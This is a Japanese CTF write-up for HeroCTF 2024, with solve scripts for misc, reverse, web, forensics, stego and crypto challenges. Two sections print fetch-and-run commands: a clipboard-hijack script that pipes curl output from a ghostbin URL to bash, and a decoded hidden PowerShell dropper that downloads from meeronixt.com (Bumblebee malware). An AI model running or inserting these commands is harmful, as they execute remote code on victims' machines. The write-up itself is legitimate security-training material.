この大会は2024/10/26 4:00(JST)~2024/10/28 6:00(JST)に開催されました。
今回もチームで参戦。結果は648点で670チーム中177位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome (Welcome)
Rulesのページの最下部にフラグが書いてあった。
Hero{W3_h0p3_U_l1k3d_th3_typ1ng_3ff3ct}
LazySysAdmin #1 (Misc)
http://misc.heroctf.fr:8085/posts/more-ram-for-free/でコピーすると、以下のコマンドがコピーされる。
curl -s https://ghostbin.site/6y65l/raw | bash && sleep 2 && reboot -f
HTMLソースを見ると、以下のようになっている。
<script> console.log("running the script") function logCopy(event){ console.log("oncopy") console.log(event.clipboardData.getData('text/plain')) event.clipboardData.setData('text/plain', 'curl -s https://ghostbin.site/6y65l/raw | bash && sleep 2 && reboot -f\n'); event.preventDefault(); } document.oncopy = logCopy; console.log(document) </script>
以下の文字列がbase64にする対象のようだ。
'curl -s https://ghostbin.site/6y65l/raw | bash && sleep 2 && reboot -f\n'
$ echo 'curl -s https://ghostbin.site/6y65l/raw | bash && sleep 2 && reboot -f\n' | base64 Y3VybCAtcyBodHRwczovL2dob3N0YmluLnNpdGUvNnk2NWwvcmF3IHwgYmFzaCAmJiBzbGVlcCAy ICYmIHJlYm9vdCAtZgoK
HERO{Y3VybCAtcyBodHRwczovL2dob3N0YmluLnNpdGUvNnk2NWwvcmF3IHwgYmFzaCAmJiBzbGVlcCAyICYmIHJlYm9vdCAtZgoK}
Data Science (Prog)
csvに1つの表データがあるので、3つの質問に対して正しく答えられれば良い。
1. 2019年12月31日(開始時)にすべての人が10,000ドルを持っている場合、2023年1月1日(その日の取引を除く)までに最も多くのお金を持っているのは誰か?
各buyer_idごとにdateが2022/12/31までの範囲でprice*(100-discount)を購入者から販売者に移していく。この際、誤差をなくすために、priceに関する値は100倍した状態で計算し、最後に100で割ることにする。
2. 2023年1月1日(その日の取引を除く)までに、割引によって節約されたお金はいくらか?
dateが2022/12/31までの範囲で割引額price*discountの和を計算し、最後に100で割る。
3. 2023年1月1日(その日の取引を除く)までに、残高がマイナスになっている人は何人か?
最後にマイナスになっている人の数をカウントする。
以上の考え方を元に、プログラムにすると、以下のようになる。
#!/usr/bin/env python3 import datetime import math with open('orders.csv', 'r') as f: lines = f.read().splitlines()[1:] ids = {} discounts_100 = 0 for line in lines: vals = line.split(',') buyer_id = vals[1] seller_id = vals[2] price = int(vals[3]) discount = int(vals[4]) date = vals[5] year = int(date.split('-')[0]) month = int(date.split('-')[1]) day = int(date.split('-')[2]) dt = datetime.date(year, month, day) end_dt = datetime.date(2023, 1, 1) if dt < end_dt: if buyer_id not in ids: ids[buyer_id] = 10000 * 100 if seller_id not in ids: ids[seller_id] = 10000 * 100 discount_price_100 = price * discount discounts_100 += discount_price_100 real_price_100 = price * 100 - discount_price_100 ids[buyer_id] -= real_price_100 ids[seller_id] += real_price_100 response1 = max(ids, key=ids.get) response2 = math.floor(discounts_100 / 100) response3 = 0 for balance in ids.values(): if balance < 0: response3 += 1 flag = f'Hero{{{response1}_{response2}_{response3}}}' print(flag)
Hero{732669_188098001_3468}
AutoInfector 1/3 (Reverse)
リンクされているscript.jsを整形すると、以下のようになる。
const _0x4529d7 = _0x1d1c; function _0x1d1c(_0x7c96b2, _0x2f8a26) { const _0x95639b = _0x9563(); return _0x1d1c = function(_0x1d1c98, _0x4b1f77) { _0x1d1c98 = _0x1d1c98 - 0x1d3; let _0x4eaef4 = _0x95639b[_0x1d1c98]; return _0x4eaef4; }, _0x1d1c(_0x7c96b2, _0x2f8a26); } function _0x9563() { const _0x3d28e8 = ['toString', 'href', '432309oQcKpq', '580307AYZanI', '2967486CQjkvD', '11dfc83092be6f72c7e9e000e1de2960', '13371tgSDgt', '10VPbfEL', '3024970qbeYLa', '3789yHDymQ', 'title', '\x20-\x20', 'getElementById', '28cDhvgV', '5151509bzpVvO', 'download-malware', '2XFSquh', '10648UPBcLv', 'Enter\x20the\x20password\x20to\x20download\x20the\x20malware:', 'Wrong\x20password!', 'location', 'split']; _0x9563 = function() { return _0x3d28e8; }; return _0x9563(); }(function(_0xb4abd5, _0x2142cb) { const _0x14b8aa = _0x1d1c, _0x102377 = _0xb4abd5(); while (!![]) { try { const _0x260fca = parseInt(_0x14b8aa(0x1e5)) / 0x1 * (parseInt(_0x14b8aa(0x1dd)) / 0x2) + -parseInt(_0x14b8aa(0x1d3)) / 0x3 * (-parseInt(_0x14b8aa(0x1da)) / 0x4) + -parseInt(_0x14b8aa(0x1d5)) / 0x5 + parseInt(_0x14b8aa(0x1e7)) / 0x6 + -parseInt(_0x14b8aa(0x1e6)) / 0x7 + parseInt(_0x14b8aa(0x1de)) / 0x8 * (parseInt(_0x14b8aa(0x1d6)) / 0x9) + -parseInt(_0x14b8aa(0x1d4)) / 0xa * (parseInt(_0x14b8aa(0x1db)) / 0xb); if (_0x260fca === _0x2142cb) break; else _0x102377['push'](_0x102377['shift']()); } catch (_0xc8d84b) { _0x102377['push'](_0x102377['shift']()); } } }(_0x9563, 0x586f2)); function xorStrHex(_0x44beee, _0x331942) { const _0x5a57c1 = _0x1d1c; var _0x3e3a86 = ''; for (var _0x192d0c = 0x0; _0x192d0c < _0x44beee['length']; _0x192d0c++) { _0x3e3a86 += (parseInt(_0x44beee[_0x192d0c], 0x10) ^ parseInt(_0x331942[_0x192d0c], 0x10))[_0x5a57c1(0x1e3)](0x10); } return _0x3e3a86; } function toHex(_0x54809b) { const _0x384033 = _0x1d1c; var _0x253551 = ''; for (var _0x2225ca = 0x0; _0x2225ca < _0x54809b['length']; _0x2225ca++) { _0x253551 += '' + _0x54809b['charCodeAt'](_0x2225ca)[_0x384033(0x1e3)](0x10); } return _0x253551; } document[_0x4529d7(0x1d9)](_0x4529d7(0x1dc))['onclick'] = function() { const _0x18bb62 = _0x4529d7, _0x469f2a = document[_0x18bb62(0x1d7)][_0x18bb62(0x1e2)](_0x18bb62(0x1d8))[0x0], _0x3a24f3 = hex_md5(_0x469f2a), _0x4fd40f = prompt(_0x18bb62(0x1df)); if (!_0x4fd40f) return; const _0x5bf4e1 = hex_md5(_0x4fd40f), _0x4c967c = xorStrHex(_0x3a24f3, _0x5bf4e1), _0x58bbf4 = _0x18bb62(0x1e8); _0x4c967c === _0x58bbf4 ? (alert('You\x20can\x20validate\x20the\x20challenge\x20with\x20the\x20following\x20flag:\x20Hero{' + _0x4fd40f + '}'), window[_0x18bb62(0x1e1)][_0x18bb62(0x1e4)] = '/' + _0x4fd40f + '.exe') : alert(_0x18bb62(0x1e0)); };
最後のdocument以降をデベロッパーツールで確認しながら、書き換える。
document['getElementById']('download-malware')['onclick'] = function() { _0x469f2a = document['title']['split'](' - ')[0x0], _0x3a24f3 = hex_md5(_0x469f2a), _0x4fd40f = prompt('Enter the password to download the malware:') if (!_0x4fd40f) return; _0x5bf4e1 = hex_md5(_0x4fd40f) _0x4c967c = xorStrHex(_0x3a24f3, _0x5bf4e1) _0x58bbf4 = '11dfc83092be6f72c7e9e000e1de2960' _0x4c967c === _0x58bbf4 ? (alert('You\x20can\x20validate\x20the\x20challenge\x20with\x20the\x20following\x20flag:\x20Hero{' + _0x4fd40f + '}'), window['location']['href'] = '/' + _0x4fd40f + '.exe') : alert('Wrong password!); };
ページタイトルが"AutoInfector - Beta"なので、_0x469f2aは以下の値になる。
_0x469f2a = "AutoInfector"
_0x3a24f3はそのmd5なので、'e3df2713dfaefd4badf9b892ba54245f'となる。_0x5bf4e1は入力した文字列のmd5。_0x4c967cはこの2つのmd5の数値化したものののXORを16進数表記したもの。これが'11dfc83092be6f72c7e9e000e1de2960'になることがパスワードが正しい場合の条件となる。
#!/usr/bin/env python3 h1 = '11dfc83092be6f72c7e9e000e1de2960' h2 = 'e3df2713dfaefd4badf9b892ba54245f' h = hex(int(h1, 16) ^ int(h2, 16))[2:].zfill(32) print(h)
入力文字列のmd5は以下の通りとなる。
f200ef234d1092396a1058925b8a0d3f
CrackStationでクラックすると、以下の文字列が得られ、パスワードがわかった。
infectedmushroom
Hero{infectedmushroom}
PrYzes (Web)
/api/prizesへのPOSTで以下のような処理になっている。
・data: リクエストで送信したjsonデータ ・date_str: dataの"date"の値 ・received_signature: リクエストヘッダの"X-Signature"の値 ・json_data: dataのダンプ文字列 ・expected_signature: dataのsha256ダイジェストの16進数表記文字列 ・received_signatureとexpected_signatureが一致していることをチェック ・date_strがあることをチェック ・date_obj: date_strを"%d/%m/%Y"の形式としてパースしたオブジェクト ・date_obj.yearが2100以上の場合、フラグを表示
以下の条件を満たすようにリクエストすればよい。
・例えば、date_strを"26/10/2100"とする。 ・date_strに基づき、signatureを算出し、HTTPヘッダの"X-Signature"に設定
#!/usr/bin/env python3 import requests import hashlib import json def compute_sha256(data): sha256_hash = hashlib.sha256() sha256_hash.update(data.encode("utf-8")) return sha256_hash.hexdigest() url = 'http://web.heroctf.fr:5000/api/prizes' data = {"date": "26/10/2100"} json_data = json.dumps(data) signature = compute_sha256(json_data) headers = {"Content-Type": "application/json", "X-Signature": signature} r = requests.post(url, data=json_data, headers=headers) response = r.text print(response)
この結果、以下のレスポンスがあった。
{"message":"Hero{PrYzes_4r3_4m4z1ng!!!9371497139}"}
Hero{PrYzes_4r3_4m4z1ng!!!9371497139}
Tenant trouble (Forensics)
CSV形式のログが添付されており、ユーザーアカウントが侵害されたので、侵害されたアカウントと攻撃の開始日を答える必要がある。
Operationを"UserLoginIn"でフィルタリングすると、CreationTimeは以下のときしかない。
2024-10-25T17:12:39Z
このときのUserIdは以下の通り。
mister.bennet@winchester77.onmicrosoft.com
これまでは、土日を除き毎日UserLoginFailedとなっており、その開始日時は以下の通りであるとわかる。
2024-05-02T11:05:37Z
Hero{2024-05-02;mister.bennet@winchester77.onmicrosoft.com}
Transformers #1 (Forensics)
従業員のワークステーションの 1 つに疑わしいファイルが見つかったので、そのファイルのsha256を答える問題。
FTK Imagerで開き、調べると、Document.lnkとengaged.batのみがあるので、エクスポートする。Document.lnkはC:\dew\engaged.batへのリンクになっている。
$ sha256sum Document.lnk c3bb38b34c7dfbb1e9e9d588d77f32505184c79cd3628a70ee6df6061e128f3e Document.lnk
HERO{lnk;c3bb38b34c7dfbb1e9e9d588d77f32505184c79cd3628a70ee6df6061e128f3e}
Transformers #2 (Forensics)
ドロッパーの名前と、アクセスしようとしているドメイン名を答える問題。
エクスポートしたengaged.batを見てみると、ラベルと変数に文字を設定している処理が多い。ラベル以外の最終行部分の先頭に"echo "を追加して標準出力する。
powershell -w hidden -nop -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBlAGUAcgBvAG4AaQB4AHQALgBjAG8AbQAvAGcAYQB0AGUAIgApAA==
base64文字列部分をデコードする。
$ echo SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBlAGUAcgBvAG4AaQB4AHQALgBjAG8AbQAvAGcAYQB0AGUAIgApAA== | base64 -d IEX (New-Object Net.Webclient).downloadstring("http://meeronixt.com/gate")
「meeronixt」を検索すると、以下のマルウェアのことが書かれた記事が出てくる。
Bumblebee
HERO{Bumblebee;meeronixt.com}
Zipper (Steganography)
$ binwalk secretzip.zip DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Zip archive data, at least v1.0 to extract, name: whatiszip/ 68 0x44 Zip archive data, at least v2.0 to extract, compressed size: 31563, uncompressed size: 33944, name: whatiszip/zipheader.png 31712 0x7BE0 Zip archive data, at least v2.0 to extract, compressed size: 27706, uncompressed size: 28510, name: whatiszip/ZIP.pdf 59493 0xE865 Zip archive data, at least v2.0 to extract, compressed size: 29125, uncompressed size: 31304, name: whatiszip/zipformat.png 88699 0x15A7B PNG image, 1280 x 720, 8-bit/color RGBA, non-interlaced 90037 0x15FB5 Zlib compressed data, default compression 901578 0xDC1CA End of Zip archive, footer length: 22
pngが含まれているので、切り出す。
#!/usr/bin/env python3 with open('secretzip.zip', 'rb') as f: data = f.read() png = data[0x15a7b:0xdc060] with open('secret.png', 'wb') as f: f.write(png)
切り出したPNG画像の最下部にフラグが書いてあった。
Hero{Dont_be_fooled_by_appearances}
Interpolation (Crypto)
サーバの処理概要は以下の通り。
・FLAG: "Hero{[0-9a-zA-Z_]{90}}"の正規表現に合う文字列 ・F: 剰余環 2**256 - 189 ・R: Fの変数xによる多項式環 ・f: FLAGを4バイトごとにsha256ダイジェストの数値化したもの配列をRにしたもの ・points = [] ・fの次数の間以下を実行 ・r: F上のランダム整数 ・pointsに[r, f(r)]を追加 ・pointsを表示 ・flag: 入力文字列にFLAGの長さになるまでスペースでパディング ・g: flagを4バイトごとにsha256ダイジェストの数値化したもの配列をRにしたもの ・pointsの各pに対して以下を実行 ・g(p[0]) と p[1]が一致しない場合、"Wrong flag!"を表示 ・"Congrats!"を表示
フラグの先頭が"Hero"であることを前提にpointsから23元方程式を解き、fの係数を算出することができる。あとはその係数から4バイトをブルートフォースで復号する。
#!/usr/bin/env sage import socket import hashlib import itertools from string import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) H = lambda n: int(hashlib.sha256(n).hexdigest(), 16) n = 2**256 - 189 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('crypto.heroctf.fr', 9000)) data = recvuntil(s, b'\n').rstrip() print(data) points = eval(data) FH = H(b'Hero') l = len(points) chars = digits + ascii_letters + '_' M = [] C = [] for p in points: row = [] for i in range(1, l + 1): row.append(pow(p[0], i, n)) M.append(row) C.append([(p[1] - FH) % n]) M = matrix(Zmod(n), M) C = matrix(Zmod(n), C) hashes = ~M * C flag = 'Hero' for i in range(l): if i == 0: for x in itertools.product(chars, repeat=3): text = '{' + ''.join(x) if H(text.encode()) == hashes[i][0]: flag += text break elif i == l - 1: for x in itertools.product(chars, repeat=3): text = ''.join(x) + '}' if H(text.encode()) == hashes[i][0]: flag += text break else: for x in itertools.product(chars, repeat=4): text = ''.join(x) if H(text.encode()) == hashes[i][0]: flag += text break data = recvuntil(s, b'>') print(data + flag) s.sendall(flag.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
[[97707592351307922087972733927194053172817216759651639462628159483335080468962, 70471708436981335942807275176015157411444462179814646825103949696377253985502], [57778150009633533463664443595869027624072593574926572985964287861497988298288, 55570262080842036878742366907418071388346595029625419730829381718861334834276], [86921978142871270691411755964795868082159799888367071187391405715013120103309, 81884568718483039741878020771611676791264253304045337351096805753069619098847], [9024498294594760192350673953163059495235830566770851283483367846650875935238, 93137440206240191610669494084817925976103359328221143169126229747467150338675], [112771714677468257355655816590967160085544671484550214832929656973942285495385, 48868383833594437397240635456940979376589370954171851461309274437608038456543], [50138944322067800237658536742461993685713305361153200595591823617301788916765, 14164042561277644252464202956383602180108306620837339257995466219285657616155], [115421911929651834395304754366333730286108077342038672185170076809743624210904, 113418681479011307465147918602767488259931829509408737660161968724935956700], [281093355789297303117127459743242783690739905968821335121388199261216290467, 102517632080463329928615183161268859364084381223327085588112657254903095369063], [55171111857161740018305799100511675081261859612734250059307614881936469966847, 73530594986664780506154507113379213552285770447443592194473277991901496519975], [26298533871118055050927301060463844221332247832418240697293469254384704432722, 37560534824879127798140243684350996354122330194953816895989022952208112147656], [49927435447065856389088001263610214536524592467382079410480271917664534742695, 22071862068888091788805047348240280916054742755212621683858082974825897297311], [29070622980763120473905340780943759294854197014494529321354405976698135545840, 68792442733649974232716878922531126128223700678034597290415736090778029342487], [9314206603346436828138891895804642911085258159661339147293789611783491654443, 71876776530304958195725619797302631777021219814098943587624433217989410788506], [111527154974174283209172206186633889375556485215154952183362305296735165651244, 32220378069252677439984190577677535805707886316758288663217741076390368320317], [111491231410089194711416350337244691737028717024114541355301923253856116063284, 111506828922366306838909350182433760762206964115261047534062103269778139727053], [95900196823812042160834100712411424461626240170370978690273337386126376784271, 22933268413825385160768536617993934635222055770273733228575864203942206403403], [45196069958479781298911380027587705659761888479734430912219541567287580387813, 42475158473155953885168771787128044897629962314183193430526356295850106762995], [53982862694667778006105934170685885198444308540584104364176390828365009645562, 55575108234022650574520376813020801062462790811999375904546936406125022192697], [77928163332519511430148819038856206873981719547871894376735582356061203466494, 80710012671204442543551938103981407716598346368428125656644252191105473454682], [69893594175086333446425643743385251091037553666004408341493837695170628351850, 81725556786097907389070706431979175131471377891946593624629800028051223473418], [110145118748473628864577404214849110142450865785868886140433214445650467039507, 43096155633222886062578045867150929248061128434743481938912426665940987996511], [54378768425328154257552073996288889280711987049099948706504367925423042728888, 56542302859568179082222886182677978585546306421300161335649793801234297879357], [29537770896845919539655583466086448948072756461405758813099553688897236774073, 78818102862231088560125230789861966413835538836462943724799878585297918405983]] >Hero{th3r3_4r3_tw0_typ35_0f_p30pl3_1n_th15_w0rld_th053_wh0_c4n_3xtr4p0l4t3_fr0m_1nc0mpl3t3_d474} Congrats!
Hero{th3r3_4r3_tw0_typ35_0f_p30pl3_1n_th15_w0rld_th053_wh0_c4n_3xtr4p0l4t3_fr0m_1nc0mpl3t3_d474}